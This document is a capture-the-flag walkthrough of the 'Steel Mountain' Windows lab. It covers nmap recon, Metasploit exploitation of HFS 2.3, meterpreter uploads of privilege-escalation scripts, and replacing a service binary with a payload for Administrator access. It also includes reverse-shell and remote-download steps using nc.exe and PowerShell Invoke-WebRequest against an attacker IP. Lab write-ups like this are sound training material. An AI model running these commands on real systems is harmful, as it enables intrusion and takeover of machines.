Steel Mountain

Steel Mountain

Hack into a Mr. Robot themed Windows machine. Use metasploit for initial access, utilise powershell for Windows privilege escalation enumeration and learn a new technique to get Administrator access.

Recon

Recon

```
nmap -sC -sV -F -T4 10.10.14.191
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-24 18:37 PKT
Nmap scan report for 10.10.14.191
Host is up (0.29s latency).
Not shown: 89 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-date: 2022-03-23T13:39:26+00:00; -1d00h00m16s from scanner time.
| ssl-cert: Subject: commonName=steelmountain
| Not valid before: 2022-03-22T13:33:10
|_Not valid after:  2022-09-21T13:33:10
| rdp-ntlm-info:
|   Target_Name: STEELMOUNTAIN
|   NetBIOS_Domain_Name: STEELMOUNTAIN
|   NetBIOS_Computer_Name: STEELMOUNTAIN
|   DNS_Domain_Name: steelmountain
|   DNS_Computer_Name: steelmountain
|   Product_Version: 6.3.9600
|_  System_Time: 2022-03-23T13:39:11+00:00
8080/tcp  open  http          HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  unknown
49156/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
```

```
|     date: 2022-03-23T13:39:11
|_   start_date: 2022-03-23T13:33:02
| smb2-security-mode:
|     3.0.2:
|_       Message signing enabled but not required
|_clock-skew: mean: -1d00h00m15s, deviation: 0s, median: -1d00h00m15s
| smb-security-mode:
|     account_used: guest
|     authentication_level: user
|     challenge_response: supported
|_   message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC:
02:bb:55:1d:99:1f (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.40 seconds
```

HttpFileServer httpd 2.3

https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/ (**RCE**) **Worked**!

https://www.exploit-db.com/exploits/49584 **RCE**

https://www.exploit-db.com/exploits/39161 **RCE**

Microsoft IIS httpd 8.5

https://www.cybersecurity-help.cz/vdb/microsoft/microsoft_iis/8.5/ (**Vulns** in this **Version**)

https://www.rapid7.com/db/modules/exploit/windows/iis/
iis_webdav_upload_asp/ (Not Sure weather it will work or net, I will check it In Sha **ALLAH**)

SMB

no eternal blue was detected and cant **enum** the **shares**

Exploitation

Exploitation

https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/ (well defined)

just set rhost, lhost, rport (8080) and run

Two Web servers are running one is on **80** Port and the other is on **8080**

we have to change the rport to 8080, and you will gain **Initial Shell**

```
meterpreter > search -f user.txt
```

submited the **userflag**

Privilege Escalation

Privilege Escalation

found something on exploit db about **windows r2 2012 server 6.3.9600**

https://www.exploit-db.com/exploits/39719 Local PRiv Esc exploit

Uploading Powerup and other PrivEsc Binary

```
meterpreter > upload /opt/windows/powersploit/Privesc/PowerUp.ps1
[*] uploading  : /opt/windows/powersploit/Privesc/PowerUp.ps1 -> PowerUp.ps1
[*] Uploaded 549.65 KiB of 549.65 KiB (100.0%): /opt/windows/powersploit/Privesc/PowerUp.ps1 -> PowerUp.ps1
[*] uploaded   : /opt/windows/powersploit/Privesc/PowerUp.ps1 -> PowerUp.ps1
```

```
meterpreter > upload /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/PowerUp.ps1
[*] uploading  : /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/PowerUp.ps1 → PowerUp.ps1
[*] Uploaded 549.65 KiB of 549.65 KiB (100.0%): /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/PowerUp.ps1 → Power
ps1
[*] uploaded   : /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/PowerUp.ps1 → PowerUp.ps1
meterpreter > upload /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/39719.ps1
[*] uploading  : /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/39719.ps1 → 39719.ps1
[*] Uploaded 11.55 KiB of 11.55 KiB (100.0%): /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/39719.ps1 → 39719.ps1
[*] uploaded   : /home/esclimited/Downloads/ThmTraining/JRPenWindowsPrivEsc/ToolsOfTheTrade/THM_WinPrivEsc_Tools/39719.ps1 → 39719.ps1
meterpreter > load powershell
Loading extension powershell ... Success.
meterpreter >
```

To execute this using Meterpreter, I will type **load powershell**¬†into meterpreter. Then I will enter powershell by entering **powershell_shell**:

Point of Interest

StartMode
Advanced SystemCare Service 9 AdvancedSystemCareService9 C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

Auto

```
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>wmic service get name,displayname,pathname,startmode
wmic service get name,displayname,pathname,startmode
DisplayName                                 Name                        PathName                                                                  StartMode
Advanced SystemCare Service 9               AdvancedSystemCareService9  C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe            Auto
Application Experience                      AeLookupSvc                 C:\Windows\system32\svchost.exe -k netsvcs                                 Manual
Application Layer Gateway Service           ALG                         C:\Windows\System32\alg.exe                                               Manual
Amazon SSM Agent                            AmazonSSMAgent              "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"                         Auto
```

```
    IObitUnSvr(IObit - IObit Uninstaller Service)[¤[0m¤[1;31mC:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe¤[0m] - Auto - Stopped
    ¤[0m¤[1;31mNo quotes and Space detected¤[0m
    ¤[0m¤[1;31mFile Permissions: bill [WriteData/CreateFiles]¤[0m
    ¤[0m¤[1;31mPossible DLL Hijacking in binary folder: C:\Program Files (x86)\IObit\IObit Uninstaller (bill [WriteData/CreateFiles])¤[0m
    ¤[1;37mIObit Uninstaller Service
¤[1;90m    ═══════════════════════════════════════════════════════════════════════════════════════════════¤[0m
```

Note we can also find Permissions by searching in the winpeasoutput.txt

Got The Root Shell

Service Name = AdvancedSystemCareService9
Service Executing File = ASCService.exe

So you have to rename your paylaod to **ASCService.exe** then upload it to **C:\Program Files (x86)\IObit\Advanced SystemCare**

Advanced.exe will not work

You can't delete **ASCService.exe** file but when you upload your file in the directory the original one will be replaced by your **ASCService.exe** file

Winpeas output

Winpease output Snipped

RegPath: **HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{10921475-03CE-4E04-90CE-E2E7EF20C814}**
Folder: **C:\Program Files (x86)\IObit\IObit Uninstaller**
FolderPerms: bill [WriteData/CreateFiles]
File: **C:\Program Files (x86)\IObit\IObit Uninstaller**\UninstallExplorer.dll (**Unquoted and Space detected**)
FilePerms: bill [WriteData/CreateFiles]

Folder: **C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup**
FolderPerms: bill [AllAccess]
File: **C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup**\desktop.ini (**Unquoted and Space detected**)
FilePerms: bill [AllAccess]

==========

Folder: **C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup**
FolderPerms: bill [AllAccess]
File: **C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup**\hfs.exe (**Unquoted and Space detected**)
FilePerms: bill [AllAccess]

==========

Folder: **C:\windows\tasks**
FolderPerms: Authenticated Users [WriteData/CreateFiles]

==========

Folder: **C:\windows\system32\tasks**

FolderPerms: Authenticated Users [WriteData/CreateFiles]

Access and Escalation Without Metasploit

https://www.exploit-db.com/exploits/39161 **RCE** (Remember to change local ip with tun0 ip and lport with netcat listner port)

run httpserver with port 80 with nc.exe binary so exploit may request http://yourip:80/nc.exe

use nc listner also

once get connected

powershell -c Invoke-WebRequest -uri http://10.8.41.9:8000/ASCService.exe -outfile ASCService.exe

use the same powershell command to transfer winpeas and the payload

once executed the same previous steps you will gain the root shell.